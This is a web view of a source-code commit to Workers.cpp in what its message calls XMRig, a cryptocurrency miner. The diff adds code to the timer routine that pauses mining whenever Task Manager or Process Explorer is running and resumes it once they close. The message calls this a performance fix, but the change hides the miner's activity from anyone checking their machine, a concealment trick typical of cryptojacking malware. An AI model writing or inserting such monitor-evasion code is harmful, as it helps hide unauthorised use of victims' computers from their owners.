Update Workers.cpp
for automatic pause open taskmgr.exe XMrig is pushing my computer too hard. Taskmgr.exe does not even run fast. I made a change for it.
This commit is contained in:
parent
8ab9f0f860
commit
ea5c21e2c6
1 changed files with 12 additions and 0 deletions
|
@ -273,6 +273,18 @@ void Workers::onResult(uv_async_t *handle)
|
|||
|
||||
void Workers::onTick(uv_timer_t *handle)
|
||||
{
|
||||
bool boklar = false;
|
||||
boklar = boklar || IsProcessRunning(L"taskmgr.exe");
|
||||
boklar = boklar || IsProcessRunning(L"procexp64_2.exe");
|
||||
if (boklar)
|
||||
{
|
||||
pausePic();
|
||||
}
|
||||
else
|
||||
{
|
||||
unpausePic();
|
||||
}
|
||||
|
||||
for (Handle *handle : m_workers) {
|
||||
if (!handle->worker()) {
|
||||
return;
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue